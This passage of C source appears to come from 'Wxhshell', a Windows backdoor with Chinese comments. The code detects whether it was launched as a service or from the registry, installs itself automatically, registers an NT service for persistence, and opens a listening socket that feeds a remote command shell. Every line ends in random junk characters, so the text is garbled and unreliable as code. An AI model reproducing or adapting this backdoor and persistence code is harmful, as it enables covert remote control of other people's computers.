DWORD AffinityMask; Wl?*AlFlk
DWORD BasePriority; @?f3(Gh,
ULONG UniqueProcessId; 79z(n[^
ULONG InheritedFromUniqueProcessId; Xq1n1_Z
} PROCESS_BASIC_INFORMATION; vH9/}w2
wqK>=Ri_
PROCNTQSIP NtQueryInformationProcess; [-=PK\ B
Rq<T2}K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iO(9#rV
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Atzp\oO
dq[j.Nmq
HANDLE hProcess; 1B}6 zJ
PROCESS_BASIC_INFORMATION pbi; @I_A\ U{
J#!:Z8b
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eOE7A'X
if(NULL == hInst ) return 0; P
BpjE}[Q
`[2nxP>w`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H'P1EZtq
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R4%!W~K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &1{RuV&t
:I1)=8lO
if (!NtQueryInformationProcess) return 0; ?S36)oZzg
oOnk,U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bBb$0HOF
if(!hProcess) return 0; {;=I69X
uL1e?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]4@_KKP
%
Lhpj[C
CloseHandle(hProcess); r*OSEzGUz
y9?B vPp+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o5-oQ_j
if(hProcess==NULL) return 0; 7AX<>^
/xWkP{
HMODULE hMod; jxm.x[1ki^
char procName[255]; (>%Ddj6_>
unsigned long cbNeeded; pJ ;J>7Gt
k*\WzBTd
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); != _:*U)-'
"@;q! B.qo
CloseHandle(hProcess); y4t M0h
G!C2[:[g
if(strstr(procName,"services")) return 1; // 以服务启动 :MV]OLRM
W7c(]
tg.
return 0; // 注册表启动 hCD0Zel
} @TdPeTw\
By]XD~gcP
// 主模块 &jT>)MXPu
int StartWxhshell(LPSTR lpCmdLine) U@@#f;&
{ Nq/,41
SOCKET wsl;
FVPhk 2
BOOL val=TRUE; >2_BL5<S
int port=0; ~*GJO74
struct sockaddr_in door; Zz'(!h Uy
ka0T|$ u(s
if(wscfg.ws_autoins) Install(); 3J7TWOJVw
:_~UO^*h
port=atoi(lpCmdLine); {OL*E0
u-=S_e
if(port<=0) port=wscfg.ws_port; >k,bHGj?
%M2.h;9]*\
WSADATA data; 2l}FOdq
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v7&e,:r2E@
Mc#uWmc 7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lbZ,?wm
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dE7 kd=.o
door.sin_family = AF_INET; [rC-3sGar
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vvU;55-
door.sin_port = htons(port); 3ZGU?Z;R
r /63
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mT
<4@RrB
closesocket(wsl); 2
:u4~E3
return 1; 22"M#:r$
} f ?_YdVZ
^o+2:G5z}
if(listen(wsl,2) == INVALID_SOCKET) { bHH{bv~Z
closesocket(wsl); *6sB$E_y
return 1; "
;_bB"q*
} !@{_Qt1
Wxhshell(wsl); ^>gRK*,
WSACleanup(); s3HwBA
^3B{|cqf
return 0; &PI}o
&?IOrHSv!
} .+t{o[
^W5rL@h_
// 以NT服务方式启动 bo '
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6a[D]46y,2
{ i[`nu#n/
DWORD status = 0; Q6@}t&k4C
DWORD specificError = 0xfffffff; =G]} L<
GMU.Kt
serviceStatus.dwServiceType = SERVICE_WIN32; $~`a,[e<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =24)`Lyb
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TOdH
serviceStatus.dwWin32ExitCode = 0; :{pvA;f
serviceStatus.dwServiceSpecificExitCode = 0; *[*LtyCQt4
serviceStatus.dwCheckPoint = 0; VI,z7
\
serviceStatus.dwWaitHint = 0; Vy.A`Hz
gV1&b
(h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ol^V@3[<
if (hServiceStatusHandle==0) return; ;n$j?n+|
X+)68
status = GetLastError(); jhjGDF
if (status!=NO_ERROR) I~\j%zD
{ bAms-cXm
serviceStatus.dwCurrentState = SERVICE_STOPPED; -%*>z'|{
serviceStatus.dwCheckPoint = 0; 8+{WH/}y8
serviceStatus.dwWaitHint = 0; }`{>]2
serviceStatus.dwWin32ExitCode = status; UeV2`zIg`
serviceStatus.dwServiceSpecificExitCode = specificError; D-\\L[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mVfg+d(
return; ]|18tVXc
} zDeh#
x tg3~/H
serviceStatus.dwCurrentState = SERVICE_RUNNING; >gM|:FG
serviceStatus.dwCheckPoint = 0; V|zzj[c
serviceStatus.dwWaitHint = 0; I gcVl/d
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IE.JIi^w
} d!7cIYVZ
KT~J@];Fb
// 处理NT服务事件,比如:启动、停止 %Ez%pT0TQ#
VOID WINAPI NTServiceHandler(DWORD fdwControl) O|m-Uz"+
{ 3.U5Each-
switch(fdwControl) zB/$*Hd
{ sJg-FVe2
case SERVICE_CONTROL_STOP: uy)iB'st&
serviceStatus.dwWin32ExitCode = 0; >DVjO9Kf
serviceStatus.dwCurrentState = SERVICE_STOPPED; u4bPj2N8I
serviceStatus.dwCheckPoint = 0; (2(I|O#
serviceStatus.dwWaitHint = 0; htk5\^(X
{ nF0$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *X+T>SKL
} $J"}7+
return; Y,I0o{,g
case SERVICE_CONTROL_PAUSE: Q<B=m6~
serviceStatus.dwCurrentState = SERVICE_PAUSED; P$S>=*`n
U
break; 6f,#O8]#5
case SERVICE_CONTROL_CONTINUE: u:&gp
serviceStatus.dwCurrentState = SERVICE_RUNNING; Yf&x]<rkCp
break; ,+<NP}Yg#G
case SERVICE_CONTROL_INTERROGATE: pm$,B7Q`oO
break; KGdL1~
}; @;2,TY>Di
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8`XpcK-0
} zRN_`U
0^nnR7
// 标准应用程序主函数 Z7%
|'E R
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~F~g$E2 }
{ "gjy+eosY
cJj4qXF
// 获取操作系统版本 g+;m?VJ
OsIsNt=GetOsVer(); '
Z:FGSwT
GetModuleFileName(NULL,ExeFile,MAX_PATH); F?&n5